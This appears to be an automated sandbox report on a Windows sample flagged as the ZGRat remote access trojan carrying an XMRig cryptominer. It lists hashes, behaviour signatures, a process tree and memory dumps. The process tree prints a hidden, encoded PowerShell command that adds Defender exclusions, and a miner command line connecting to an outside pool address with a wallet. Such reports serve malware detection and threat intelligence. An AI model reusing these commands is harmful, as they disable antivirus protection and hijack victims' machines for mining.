Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/03/2024, 19:43

General

  • Target

    Oosuddwyn.exe

  • Size

    632KB

  • MD5

    52534fd1e093915e22390441c70b6c23

  • SHA1

    85e9d63b07aa567c506fc01292e14017e336b979

  • SHA256

    224a4f5de098684e12b95521f9015f642357581c70c8b9702ca325c581e7fb88

  • SHA512

    81a15465ba42e0cb24325b38e9c6a50d37db2e0e5eeca6528e1af67c9b33d53f043d60f6b6c38f15cbeebafca405c97edc4bc9928b2ddc0d642cf5c07cbdf73c

  • SSDEEP

    12288:Ifefc5kDfVu/z20sPb8WF+dDmVvHEKciPBIaoa66n7VjhTPO5FFFJ:I+ZVaz298WtVvkKcoBDovYhjhTPO5Fb

Score
10/10

Malware Config

Signatures

  • Detect ZGRat V1 1 IoCs
  • ZGRat

    ZGRat is remote access trojan written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Oosuddwyn.exe
    "C:\Users\Admin\AppData\Local\Temp\Oosuddwyn.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:960
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAVwByAGEAcABwAGUAZABPAGIAagBlAGMAdABcAFQAeQBwAGUASQBkAC4AZQB4AGUALABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACAALQBGAG8AcgBjAGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAcgBvAGMAZQBzAHMAIABDADoAXABXAGkAbgBkAG8AdwBzAFwATQBpAGMAcgBvAHMAbwBmAHQALgBOAEUAVABcAEYAcgBhAG0AZQB3AG8AcgBrADYANABcAHYANAAuADAALgAzADAAMwAxADkAXABBAGQAZABJAG4AUAByAG8AYwBlAHMAcwAuAGUAeABlACwAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABXAHIAYQBwAHAAZQBkAE8AYgBqAGUAYwB0AFwAVAB5AHAAZQBJAGQALgBlAHgAZQA=
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:884
  • C:\Users\Admin\AppData\Roaming\WrappedObject\TypeId.exe
    C:\Users\Admin\AppData\Roaming\WrappedObject\TypeId.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3784
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3116
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 62.133.61.188:8383 -u 44K2HL2woi2893k79NHDxhSdmL8vLcCcDX5HDn2F3d7fGrUkkCcQutFNXM5FtKq8SKUEjnCioyXVgNqSRMHUC9qX268CRGw.RIG_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:4176

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a0vxonmv.qvg.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\WrappedObject\TypeId.exe

    Filesize

    632KB

    MD5

    52534fd1e093915e22390441c70b6c23

    SHA1

    85e9d63b07aa567c506fc01292e14017e336b979

    SHA256

    224a4f5de098684e12b95521f9015f642357581c70c8b9702ca325c581e7fb88

    SHA512

    81a15465ba42e0cb24325b38e9c6a50d37db2e0e5eeca6528e1af67c9b33d53f043d60f6b6c38f15cbeebafca405c97edc4bc9928b2ddc0d642cf5c07cbdf73c

  • memory/884-8-0x000001D7737D0000-0x000001D7737E0000-memory.dmp

    Filesize

    64KB

  • memory/884-22-0x00007FFA75000000-0x00007FFA75AC1000-memory.dmp

    Filesize

    10.8MB

  • memory/884-19-0x000001D773FD0000-0x000001D773FF2000-memory.dmp

    Filesize

    136KB

  • memory/884-9-0x000001D7737D0000-0x000001D7737E0000-memory.dmp

    Filesize

    64KB

  • memory/884-7-0x00007FFA75000000-0x00007FFA75AC1000-memory.dmp

    Filesize

    10.8MB

  • memory/960-5-0x00000222FC140000-0x00000222FC18C000-memory.dmp

    Filesize

    304KB

  • memory/960-1-0x00000222FC040000-0x00000222FC142000-memory.dmp

    Filesize

    1.0MB

  • memory/960-0-0x00000222F9B40000-0x00000222F9BE2000-memory.dmp

    Filesize

    648KB

  • memory/960-4-0x00000222FC1A0000-0x00000222FC1F6000-memory.dmp

    Filesize

    344KB

  • memory/960-3-0x00000222FC190000-0x00000222FC1A0000-memory.dmp

    Filesize

    64KB

  • memory/960-2-0x00007FFA75000000-0x00007FFA75AC1000-memory.dmp

    Filesize

    10.8MB

  • memory/960-26-0x00007FFA75000000-0x00007FFA75AC1000-memory.dmp

    Filesize

    10.8MB

  • memory/960-6-0x00000222FC200000-0x00000222FC254000-memory.dmp

    Filesize

    336KB

  • memory/3116-41-0x000002255B560000-0x000002255B570000-memory.dmp

    Filesize

    64KB

  • memory/3116-40-0x000002255B560000-0x000002255B570000-memory.dmp

    Filesize

    64KB

  • memory/3116-39-0x00007FFA74F50000-0x00007FFA75A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3116-38-0x000002255B560000-0x000002255B570000-memory.dmp

    Filesize

    64KB

  • memory/3116-34-0x00007FFA74F50000-0x00007FFA75A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3116-37-0x000002255B560000-0x000002255B570000-memory.dmp

    Filesize

    64KB

  • memory/3784-36-0x00007FFA74F50000-0x00007FFA75A11000-memory.dmp

    Filesize

    10.8MB

  • memory/3784-32-0x0000029EF2600000-0x0000029EF2610000-memory.dmp

    Filesize

    64KB

  • memory/3784-33-0x0000029EF2600000-0x0000029EF2610000-memory.dmp

    Filesize

    64KB

  • memory/3784-30-0x0000029EF2600000-0x0000029EF2610000-memory.dmp

    Filesize

    64KB

  • memory/3784-29-0x00007FFA74F50000-0x00007FFA75A11000-memory.dmp

    Filesize

    10.8MB

  • memory/4176-42-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-43-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-44-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-45-0x0000013D1A020000-0x0000013D1A040000-memory.dmp

    Filesize

    128KB

  • memory/4176-46-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-47-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-48-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-49-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-50-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-51-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-52-0x0000013D1A160000-0x0000013D1A180000-memory.dmp

    Filesize

    128KB

  • memory/4176-53-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-54-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-55-0x0000000140000000-0x00000001407CF000-memory.dmp

    Filesize

    7.8MB

  • memory/4176-56-0x0000013D1A180000-0x0000013D1A1A0000-memory.dmp

    Filesize

    128KB

  • memory/4176-57-0x0000013D1A180000-0x0000013D1A1A0000-memory.dmp

    Filesize

    128KB